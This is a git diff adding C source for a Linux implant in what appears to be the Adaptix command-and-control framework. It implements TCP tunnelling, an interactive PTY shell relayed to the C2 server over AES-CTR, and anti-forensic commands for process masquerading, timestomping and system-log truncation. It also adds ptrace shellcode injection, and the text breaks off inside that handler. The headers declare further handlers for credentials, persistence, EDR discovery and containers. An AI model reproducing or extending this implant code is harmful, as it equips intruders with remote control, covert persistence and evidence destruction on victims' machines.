diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h
new file mode 100644
index 000000000..7c53d606b
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h
@@ -0,0 +1,18 @@
+#ifndef TASKS_LINUX_H
+#define TASKS_LINUX_H
+
+#include "msgpack.h"
+#include
+
+/// Linux-specific command handlers
+/// env, netstat, mounts, edr, creds, persist, container
+
+int task_env(mp_writer_t *w);
+int task_netstat(mp_writer_t *w);
+int task_mounts(mp_writer_t *w);
+int task_edr(mp_writer_t *w);
+int task_creds(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_persist(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_container(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+
+#endif /* TASKS_LINUX_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c
new file mode 100644
index 000000000..45cc96e6d
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c
@@ -0,0 +1,666 @@
+/// tasks_net.c -- Network commands for Linux agent (tunnel/terminal)
+/// Tunnels use the proxyfire MUX model (non-blocking, no threads, no separate connection).
+/// Terminals still use the thread+separate-connection model (Phase 2 migration).
+
+#include "tasks_net.h"
+#include "proxyfire.h"
+#include "jobs.h"
+#include "crt.h"
+#include "crypt.h"
+#include "types.h"
+
+#ifdef BUILD_SO
+#include "elf_resolve.h"
+#else
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+#endif
+
+// ── Constants ──
+
+#ifndef O_RDONLY
+#define O_RDONLY 0
+#define O_WRONLY 1
+#define O_RDWR 2
+#define O_NONBLOCK 04000
+#define O_NOCTTY 0400
+#endif
+#ifndef F_SETFL
+#define F_SETFL 4
+#define F_GETFL 3
+#endif
+#ifndef WNOHANG
+#define WNOHANG 1
+#endif
+#ifndef AF_INET
+#define AF_INET 2
+#define SOCK_STREAM 1
+#define SOL_SOCKET 1
+#define SO_ERROR 4
+#endif
+#ifndef TIOCSWINSZ
+#define TIOCSWINSZ 0x5414
+#define TIOCSCTTY 0x540E
+#endif
+#ifndef EINPROGRESS
+#define EINPROGRESS 115
+#endif
+
+struct linux_winsize {
+ unsigned short ws_row;
+ unsigned short ws_col;
+ unsigned short ws_xpixel;
+ unsigned short ws_ypixel;
+};
+
+// ── Abstraction macros ──
+
+#ifdef BUILD_SO
+#define F_open(p,f,m) R_open(p,f,m)
+#define F_close(fd) R_close(fd)
+#define F_read(fd,b,n) R_read(fd,b,n)
+#define F_write(fd,b,n) R_write(fd,b,n)
+#define F_fork() R_fork()
+#define F_setsid() R_setsid()
+#define F_dup2(o,n) R_dup2(o,n)
+#define F_execve(p,a,e) R_execve(p,a,e)
+#define F_kill(p,s) R_kill(p,s)
+#define F_waitpid(p,s,o) R_waitpid(p,s,o)
+#define F_exit(s) R_exit(s)
+#define F_socket(d,t,p) R_socket(d,t,p)
+#define F_connect(s,a,l) R_connect(s,a,l)
+#define F_select(n,r,w,e,t) R_select(n,r,w,e,t)
+#define F_fcntl(fd,c,a) R_fcntl(fd,c,a)
+#define F_getsockopt(s,l,o,v,n) R_getsockopt(s,l,o,v,n)
+#define F_ioctl(fd,r,a) R_ioctl(fd,r,a)
+#define F_posix_openpt(f) R_posix_openpt(f)
+#define F_grantpt(fd) R_grantpt(fd)
+#define F_unlockpt(fd) R_unlockpt(fd)
+#define F_ptsname(fd) R_ptsname(fd)
+#define F_setenv(k,v,o) R_setenv(k,v,o)
+#else
+#define F_open(p,f,m) sys_open(p,f,m)
+#define F_close(fd) sys_close(fd)
+#define F_read(fd,b,n) sys_read(fd,b,n)
+#define F_write(fd,b,n) sys_write(fd,b,n)
+#define F_fork() sys_fork()
+#define F_setsid() sys_setsid()
+#define F_dup2(o,n) sys_dup2(o,n)
+#define F_execve(p,a,e) sys_execve(p,a,e)
+#define F_kill(p,s) sys_kill(p,s)
+#define F_waitpid(p,s,o) sys_wait4(p,s,o,(void*)0)
+#define F_exit(s) sys_exit_group(s)
+#define F_socket(d,t,p) sys_socket(d,t,p)
+#define F_connect(s,a,l) sys_connect(s,a,l)
+#define F_fcntl(fd,c,a) sys_fcntl(fd,c,a)
+#define F_getsockopt(s,l,o,v,n) sys_getsockopt(s,l,o,v,n)
+#define F_ioctl(fd,r,a) sys_ioctl(fd,r,(unsigned long)(a))
+#endif
+
+// ── Helpers ──
+
+static void write_error(mp_writer_t *w, const char *msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+// fd_set operations (manual for -nostdlib)
+typedef struct {
+ unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))];
+} linux_fd_set;
+
+static void fd_zero(linux_fd_set *s) {
+ ax_memset(s, 0, sizeof(linux_fd_set));
+}
+
+static void fd_set_bit(int fd, linux_fd_set *s) {
+ s->fds_bits[fd / (8 * sizeof(unsigned long))] |= (1UL << (fd % (8 * sizeof(unsigned long))));
+}
+
+static int fd_is_set(int fd, linux_fd_set *s) {
+ return (s->fds_bits[fd / (8 * sizeof(unsigned long))] >> (fd % (8 * sizeof(unsigned long)))) & 1;
+}
+
+// Select wrapper — uses pselect6 on raw syscalls, select on SO mode
+static int net_select(int nfds, linux_fd_set *rfds, linux_fd_set *wfds, int timeout_ms) {
+#ifdef BUILD_SO
+ // For SO mode, convert to struct timeval and use R_select
+ struct { long tv_sec; long tv_usec; } tv;
+ tv.tv_sec = timeout_ms / 1000;
+ tv.tv_usec = (timeout_ms % 1000) * 1000;
+ return F_select(nfds, rfds, wfds, (void*)0, &tv);
+#else
+ // Static mode: use pselect6 with timespec
+ struct linux_timespec ts;
+ ts.tv_sec = timeout_ms / 1000;
+ ts.tv_nsec = (long)(timeout_ms % 1000) * 1000000L;
+ return sys_pselect6(nfds, rfds, wfds, (void*)0, &ts, (void*)0);
+#endif
+}
+
+// Parse channel_id from tunnel command params
+static int parse_channel_id(const uint8_t *data, uint32_t data_len) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) return -1;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char *k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) return -1;
+ if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) {
+ uint64_t v;
+ if (mp_read_uint(&r, &v) == 0) return (int)v;
+ int64_t sv;
+ if (mp_read_int(&r, &sv) == 0) return (int)sv;
+ return -1;
+ }
+ mp_skip(&r);
+ }
+ return -1;
+}
+
+// ── Tunnel (MUX model via proxyfire) ──
+// No threads, no separate connection. Data flows in main channel.
+
+int task_tunnel_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ char proto[8] = {0};
+ int channel_id = -1;
+ char address[256] = {0};
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char *k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 5 && ax_memcmp(k, "proto", 5) == 0) {
+ const char *v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(proto)) { ax_memcpy(proto, v, vl); proto[vl] = '\0'; }
+ } else if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) {
+ uint64_t v;
+ if (mp_read_uint(&r, &v) == 0) channel_id = (int)v;
+ else {
+ int64_t sv;
+ if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv;
+ }
+ } else if (kl == 7 && ax_memcmp(k, "address", 7) == 0) {
+ const char *v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(address)) { ax_memcpy(address, v, vl); address[vl] = '\0'; }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (proto[0] == '\0' || channel_id < 0 || address[0] == '\0') {
+ write_error(w, "missing tunnel params");
+ return 0;
+ }
+
+ job_context_t *ctx = &g_job_ctx;
+
+ // Allocate tunnel slot
+ jobs_mutex_lock(&ctx->tunnels_mutex);
+ int idx = -1;
+ for (int i = 0; i < MAX_TUNNELS; i++) {
+ if (!ctx->tunnels[i].active) {
+ idx = i;
+ ax_memset(&ctx->tunnels[i], 0, sizeof(tunnel_entry_t));
+ ctx->tunnels[i].client_fd = -1;
+ ctx->tunnels[i].channel_id = channel_id;
+ ctx->tunnels[i].active = 1;
+ break;
+ }
+ }
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+
+ if (idx < 0) { write_error(w, "max tunnels reached"); return 0; }
+
+ // Start async connect (non-blocking, polled by process_tunnels)
+ if (proxy_connect_tcp(idx, address) != 0) {
+ // Immediate failure — status will be sent by process_tunnels (CloseProxy stage)
+ }
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel starting");
+ return 0;
+}
+
+int task_tunnel_write(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ int channel_id = -1;
+ const uint8_t *payload = (const uint8_t *)0;
+ uint32_t payload_len = 0;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char *k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) {
+ uint64_t v;
+ if (mp_read_uint(&r, &v) == 0) channel_id = (int)v;
+ else {
+ int64_t sv;
+ if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv;
+ }
+ } else if (kl == 4 && ax_memcmp(k, "data", 4) == 0) {
+ mp_read_bin(&r, &payload, &payload_len);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (channel_id >= 0 && payload && payload_len > 0) {
+ proxy_write_tcp(channel_id, payload, payload_len);
+ }
+
+ // No response for write commands — transparent
+ mp_write_map(w, 0);
+ return 0;
+}
+
+int task_tunnel_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ int ch_id = parse_channel_id(data, data_len);
+ if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; }
+
+ proxy_close(ch_id);
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel stopped");
+ return 0;
+}
+
+int task_tunnel_pause(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ int ch_id = parse_channel_id(data, data_len);
+ if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; }
+
+ proxy_pause(ch_id);
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel paused");
+ return 0;
+}
+
+int task_tunnel_resume(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ int ch_id = parse_channel_id(data, data_len);
+ if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; }
+
+ proxy_resume(ch_id);
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel resumed");
+ return 0;
+}
+
+// ── Terminal ──
+// Spawns thread -> opens PTY -> connects to C2 -> bidirectional AES-CTR relay
+
+#define TERMINAL_BUF_SIZE (32 * 1024) // 32KB
+
+// PTY helper for static mode (no posix_openpt)
+#ifndef BUILD_SO
+static int pty_open_master(void) {
+ int fd = sys_open("/dev/ptmx", O_RDWR | O_NOCTTY, 0);
+ if (fd < 0) return -1;
+
+ // grantpt: write '0' to /dev/pts via ioctl TIOCSPTLCK
+ int unlock = 0;
+ sys_ioctl(fd, 0x40045431 /*TIOCSPTLCK*/, (unsigned long)&unlock);
+
+ return fd;
+}
+
+static int pty_get_slave_num(int master_fd) {
+ int pty_num = -1;
+ sys_ioctl(master_fd, 0x80045430 /*TIOCGPTN*/, (unsigned long)&pty_num);
+ return pty_num;
+}
+#endif
+
+static int pty_fork_fn(const char *program, int width, int height,
+ int *master_fd, int *child_pid_out) {
+ int master;
+
+#ifdef BUILD_SO
+ master = F_posix_openpt(O_RDWR | O_NOCTTY);
+ if (master < 0) return -1;
+ if (F_grantpt(master) != 0 || F_unlockpt(master) != 0) {
+ F_close(master);
+ return -1;
+ }
+ char *slave_name = F_ptsname(master);
+ if (!slave_name) {
+ F_close(master);
+ return -1;
+ }
+#else
+ master = pty_open_master();
+ if (master < 0) return -1;
+ int pty_num = pty_get_slave_num(master);
+ if (pty_num < 0) {
+ F_close(master);
+ return -1;
+ }
+ // Build slave path: /dev/pts/N
+ char slave_path[32];
+ ax_strcpy(slave_path, "/dev/pts/");
+ char num_buf[16];
+ ax_itoa(pty_num, num_buf, 10);
+ ax_strcat(slave_path, num_buf);
+ char *slave_name = slave_path;
+#endif
+
+ int pid = F_fork();
+ if (pid < 0) {
+ F_close(master);
+ return -1;
+ }
+
+ if (pid == 0) {
+ // Child
+ F_close(master);
+ F_setsid();
+
+ int slave = F_open(slave_name, O_RDWR, 0);
+ if (slave < 0) F_exit(1);
+
+ // Set terminal size
+ struct linux_winsize ws;
+ ws.ws_col = (unsigned short)width;
+ ws.ws_row = (unsigned short)height;
+ ws.ws_xpixel = 0;
+ ws.ws_ypixel = 0;
+ F_ioctl(slave, TIOCSWINSZ, &ws);
+
+ // Set as controlling terminal
+ F_ioctl(slave, TIOCSCTTY, 0);
+
+ F_dup2(slave, 0);
+ F_dup2(slave, 1);
+ F_dup2(slave, 2);
+ if (slave > 2) F_close(slave);
+
+#ifdef BUILD_SO
+ F_setenv("TERM", "xterm-256color", 1);
+#endif
+
+ char *argv_term[] = { (char*)program, (char*)0 };
+ F_execve(program, argv_term, (char*const*)0);
+ F_exit(1);
+ }
+
+ // Parent
+ *master_fd = master;
+ *child_pid_out = pid;
+ return 0;
+}
+
+typedef struct {
+ int terminal_idx;
+ int term_id;
+ char program[256];
+ int width;
+ int height;
+} terminal_args_t;
+
+static void *terminal_thread(void *arg) {
+ terminal_args_t *targs = (terminal_args_t*)arg;
+ job_context_t *ctx = &g_job_ctx;
+
+ jobs_mutex_lock(&ctx->terminals_mutex);
+ terminal_entry_t *term = &ctx->terminals[targs->terminal_idx];
+ jobs_mutex_unlock(&ctx->terminals_mutex);
+
+ // Create PTY
+ int alive = 1;
+ char status_msg[256] = {0};
+
+ if (pty_fork_fn(targs->program, targs->width, targs->height,
+ &term->pty_master, &term->child_pid) != 0) {
+ alive = 0;
+ ax_strcpy(status_msg, "PTY creation failed");
+ }
+
+ // Open connection to C2
+ if (jobs_open_connection(ctx, &term->srv_conn) != 0) {
+ if (term->pty_master >= 0) F_close(term->pty_master);
+ if (term->child_pid > 0) F_kill(term->child_pid, 9);
+ term->active = 0;
+ ax_free(targs);
+ return (void*)0;
+ }
+
+ // Generate per-terminal AES keys
+ uint8_t term_key[16], term_iv[16];
+ ax_random_bytes(term_key, 16);
+ ax_random_bytes(term_iv, 16);
+
+ // Send TermPack init
+ mp_writer_t pack_w;
+ mp_writer_init(&pack_w, 256);
+ mp_write_map(&pack_w, 6);
+ mp_write_kv_uint(&pack_w, "id", ctx->agent_id);
+ mp_write_kv_int(&pack_w, "term_id", targs->term_id);
+ mp_write_kv_bin(&pack_w, "key", term_key, 16);
+ mp_write_kv_bin(&pack_w, "iv", term_iv, 16);
+ mp_write_kv_bool(&pack_w, "alive", alive ? true : false);
+ mp_write_kv_str(&pack_w, "status", status_msg);
+
+ if (jobs_send_init(ctx, &term->srv_conn, JOB_TERMINAL,
+ pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) {
+ mp_writer_free(&pack_w);
+ if (term->pty_master >= 0) F_close(term->pty_master);
+ if (term->child_pid > 0) F_kill(term->child_pid, 9);
+ conn_close(&term->srv_conn);
+ term->active = 0;
+ ax_free(targs);
+ return (void*)0;
+ }
+ mp_writer_free(&pack_w);
+
+ if (!alive) {
+ conn_close(&term->srv_conn);
+ term->active = 0;
+ ax_free(targs);
+ return (void*)0;
+ }
+
+ // Set up AES-CTR streams
+ aes128_ctr_ctx_t dec_ctx, enc_ctx;
+ aes128_ctr_init(&dec_ctx, term_key, term_iv);
+ aes128_ctr_init(&enc_ctx, term_key, term_iv);
+
+ ax_memset(term_key, 0, 16);
+ ax_memset(term_iv, 0, 16);
+
+ // Bidirectional relay: PTY <-> C2 (AES-CTR encrypted)
+ uint8_t *buf = (uint8_t*)ax_malloc(TERMINAL_BUF_SIZE);
+ uint8_t *enc_buf = (uint8_t*)ax_malloc(TERMINAL_BUF_SIZE);
+
+ int srv_fd = term->srv_conn.fd;
+ int pty_fd = term->pty_master;
+
+ while (!term->canceled) {
+ linux_fd_set rfds;
+ fd_zero(&rfds);
+ fd_set_bit(srv_fd, &rfds);
+ fd_set_bit(pty_fd, &rfds);
+
+ int maxfd = srv_fd > pty_fd ? srv_fd : pty_fd;
+
+ int sr = net_select(maxfd + 1, &rfds, (linux_fd_set*)0, 500);
+ if (sr < 0) break;
+ if (sr == 0) {
+ // Check if child process is still running
+ int wstatus;
+ int wr = F_waitpid(term->child_pid, &wstatus, WNOHANG);
+ if (wr > 0) break;
+ continue;
+ }
+
+ // Server -> PTY (user input, decrypt)
+ if (fd_is_set(srv_fd, &rfds)) {
+ long n = F_read(srv_fd, buf, TERMINAL_BUF_SIZE);
+ if (n <= 0) break;
+
+ aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n);
+
+ size_t written = 0;
+ while (written < (size_t)n) {
+ long wr = F_write(pty_fd, enc_buf + written, (size_t)n - written);
+ if (wr <= 0) goto term_cleanup;
+ written += (size_t)wr;
+ }
+ }
+
+ // PTY -> Server (shell output, encrypt)
+ if (fd_is_set(pty_fd, &rfds)) {
+ long n = F_read(pty_fd, buf, TERMINAL_BUF_SIZE);
+ if (n <= 0) break;
+
+ aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n);
+
+ size_t written = 0;
+ while (written < (size_t)n) {
+ long wr = F_write(srv_fd, enc_buf + written, (size_t)n - written);
+ if (wr <= 0) goto term_cleanup;
+ written += (size_t)wr;
+ }
+ }
+ }
+
+term_cleanup:
+ ax_free(buf);
+ ax_free(enc_buf);
+ ax_memset(&dec_ctx, 0, sizeof(dec_ctx));
+ ax_memset(&enc_ctx, 0, sizeof(enc_ctx));
+
+ if (term->child_pid > 0) {
+ F_kill(term->child_pid, 9);
+ F_waitpid(term->child_pid, (void*)0, 0);
+ }
+
+ if (term->pty_master >= 0) F_close(term->pty_master);
+ conn_close(&term->srv_conn);
+
+ jobs_mutex_lock(&ctx->terminals_mutex);
+ term->active = 0;
+ jobs_mutex_unlock(&ctx->terminals_mutex);
+
+ ax_free(targs);
+ return (void*)0;
+}
+
+int task_terminal_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ int term_id = -1;
+ char program[256] = {0};
+ int width = 80, height = 24;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char *k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) {
+ uint64_t v;
+ if (mp_read_uint(&r, &v) == 0) term_id = (int)v;
+ else {
+ int64_t sv;
+ if (mp_read_int(&r, &sv) == 0) term_id = (int)sv;
+ }
+ } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) {
+ const char *v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; }
+ } else if (kl == 5 && ax_memcmp(k, "width", 5) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); width = (int)v;
+ } else if (kl == 6 && ax_memcmp(k, "height", 6) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); height = (int)v;
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (term_id < 0 || program[0] == '\0') {
+ write_error(w, "missing terminal params");
+ return 0;
+ }
+
+ job_context_t *ctx = &g_job_ctx;
+
+ jobs_mutex_lock(&ctx->terminals_mutex);
+ int idx = -1;
+ for (int i = 0; i < MAX_TERMINALS; i++) {
+ if (!ctx->terminals[i].active) {
+ idx = i;
+ ax_memset(&ctx->terminals[i], 0, sizeof(terminal_entry_t));
+ ctx->terminals[i].srv_conn.fd = -1;
+ ctx->terminals[i].pty_master = -1;
+ ctx->terminals[i].child_pid = -1;
+ ctx->terminals[i].term_id = term_id;
+ ctx->terminals[i].active = 1;
+ break;
+ }
+ }
+ jobs_mutex_unlock(&ctx->terminals_mutex);
+
+ if (idx < 0) { write_error(w, "max terminals reached"); return 0; }
+
+ terminal_args_t *ta = (terminal_args_t*)ax_malloc(sizeof(terminal_args_t));
+ ta->terminal_idx = idx;
+ ta->term_id = term_id;
+ ax_strncpy(ta->program, program, sizeof(ta->program) - 1);
+ ta->width = width;
+ ta->height = height;
+
+ jobs_thread_create(&ctx->terminals[idx].thread, terminal_thread, ta);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "terminal starting");
+ return 0;
+}
+
+static int parse_term_id(const uint8_t *data, uint32_t data_len) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) return -1;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char *k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) return -1;
+ if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) {
+ uint64_t v;
+ if (mp_read_uint(&r, &v) == 0) return (int)v;
+ int64_t sv;
+ if (mp_read_int(&r, &sv) == 0) return (int)sv;
+ return -1;
+ }
+ mp_skip(&r);
+ }
+ return -1;
+}
+
+int task_terminal_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ int tid = parse_term_id(data, data_len);
+ if (tid < 0) { write_error(w, "missing term_id"); return 0; }
+
+ int idx = terminals_find(&g_job_ctx, tid);
+ if (idx < 0) { write_error(w, "terminal not found"); return 0; }
+
+ g_job_ctx.terminals[idx].canceled = 1;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "terminal stopped");
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h
new file mode 100644
index 000000000..c7bdf2e57
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h
@@ -0,0 +1,20 @@
+#ifndef TASKS_NET_H
+#define TASKS_NET_H
+
+#include "msgpack.h"
+#include
+
+/// Network command handlers
+/// Tunnels: MUX model via proxyfire (no threads, data in main channel)
+/// Terminals: thread + separate connection (Phase 2 migration)
+
+int task_tunnel_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_tunnel_write(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_tunnel_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_tunnel_pause(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_tunnel_resume(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+
+int task_terminal_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_terminal_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+
+#endif /* TASKS_NET_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c
new file mode 100644
index 000000000..5ebb90ea0
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c
@@ -0,0 +1,243 @@
+/// tasks_opsec.c -- OPSEC command handlers for Linux agent
+/// masquerade, timestomp, cleanlog, inject, migrate
+/// All ops via direct syscalls — zero libc dependency.
+
+#include "tasks_opsec.h"
+#include "opsec.h"
+#include "crt.h"
+#include "types.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// ── Helpers ──
+
+static void write_error(mp_writer_t *w, const char *msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+static void write_output(mp_writer_t *w, const char *text) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", text);
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// masquerade — set fake process name
+// Input msgpack: {name: "string"}
+// ══════════════════════════════════════════════════════════════════════
+
+// Stored argv pointer from _start / so_entry for masquerading
+// Set by main.c at startup
+extern char **g_argv;
+
+int task_masquerade(const uint8_t *data, uint32_t len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ write_error(w, "invalid data");
+ return 0;
+ }
+
+ const char *name = NULL;
+ uint32_t name_len = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 4 && ax_memcmp(key, "name", 4) == 0) {
+ mp_read_str(&r, &name, &name_len);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (!name || name_len == 0) {
+ write_error(w, "missing 'name' parameter");
+ return 0;
+ }
+
+ // Copy name to NUL-terminated buffer
+ char name_buf[256];
+ uint32_t copy_len = name_len < sizeof(name_buf) - 1 ? name_len : (uint32_t)(sizeof(name_buf) - 1);
+ ax_memcpy(name_buf, name, copy_len);
+ name_buf[copy_len] = '\0';
+
+ opsec_masquerade(name_buf, g_argv);
+
+ // Build response
+ char msg[320];
+ ax_strcpy(msg, "Process masqueraded as: ");
+ ax_strcat(msg, name_buf);
+ write_output(w, msg);
+ return 0;
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// timestomp — modify file timestamps
+// Input msgpack: {path: "string", timestamp: uint64 (optional, 0=auto)}
+// ══════════════════════════════════════════════════════════════════════
+
+int task_timestomp(const uint8_t *data, uint32_t len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ write_error(w, "invalid data");
+ return 0;
+ }
+
+ const char *path = NULL;
+ uint32_t path_len = 0;
+ uint64_t timestamp = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 4 && ax_memcmp(key, "path", 4) == 0) {
+ mp_read_str(&r, &path, &path_len);
+ } else if (klen == 9 && ax_memcmp(key, "timestamp", 9) == 0) {
+ mp_read_uint(&r, ×tamp);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (!path || path_len == 0) {
+ write_error(w, "missing 'path' parameter");
+ return 0;
+ }
+
+ char path_buf[1024];
+ uint32_t pcopy = path_len < sizeof(path_buf) - 1 ? path_len : (uint32_t)(sizeof(path_buf) - 1);
+ ax_memcpy(path_buf, path, pcopy);
+ path_buf[pcopy] = '\0';
+
+ int ret = opsec_timestomp(path_buf, (long)timestamp);
+ if (ret < 0) {
+ write_error(w, "timestomp failed");
+ } else {
+ char msg[1080];
+ ax_strcpy(msg, "Timestamps modified: ");
+ ax_strcat(msg, path_buf);
+ if (timestamp == 0) {
+ ax_strcat(msg, " (copied from /usr/bin/ls)");
+ }
+ write_output(w, msg);
+ }
+ return 0;
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// cleanlog — truncate system logs
+// No input params
+// ══════════════════════════════════════════════════════════════════════
+
+int task_cleanlog(mp_writer_t *w) {
+ int cleaned = opsec_clean_logs();
+ if (cleaned == 0) {
+ write_error(w, "No logs truncated (requires root)");
+ } else {
+ char msg[64];
+ char num[16];
+ ax_itoa(cleaned, num, 10);
+ ax_strcpy(msg, "Truncated ");
+ ax_strcat(msg, num);
+ ax_strcat(msg, " log file(s)");
+ write_output(w, msg);
+ }
+ return 0;
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// inject — ptrace shellcode injection
+// Input msgpack: {pid: uint, shellcode: bin}
+// ══════════════════════════════════════════════════════════════════════
+
+int task_inject(const uint8_t *data, uint32_t len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ write_error(w, "invalid data");
+ return 0;
+ }
+
+ uint64_t pid = 0;
+ const uint8_t *shellcode = NULL;
+ uint32_t sc_len = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) {
+ mp_read_uint(&r, &pid);
+ } else if (klen == 9 && ax_memcmp(key, "shellcode", 9) == 0) {
+ mp_read_bin(&r, &shellcode, &sc_len);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (pid == 0) {
+ write_error(w, "missing 'pid' parameter");
+ return 0;
+ }
+ if (!shellcode || sc_len == 0) {
+ write_error(w, "missing 'shellcode' parameter");
+ return 0;
+ }
+
+ int ret = opsec_inject_ptrace((int)pid, shellcode, sc_len);
+ if (ret < 0) {
+ write_error(w, "ptrace injection failed (check permissions/PID)");
+ } else {
+ char msg[128];
+ char pid_str[16];
+ char sc_str[16];
+ ax_itoa((int)pid, pid_str, 10);
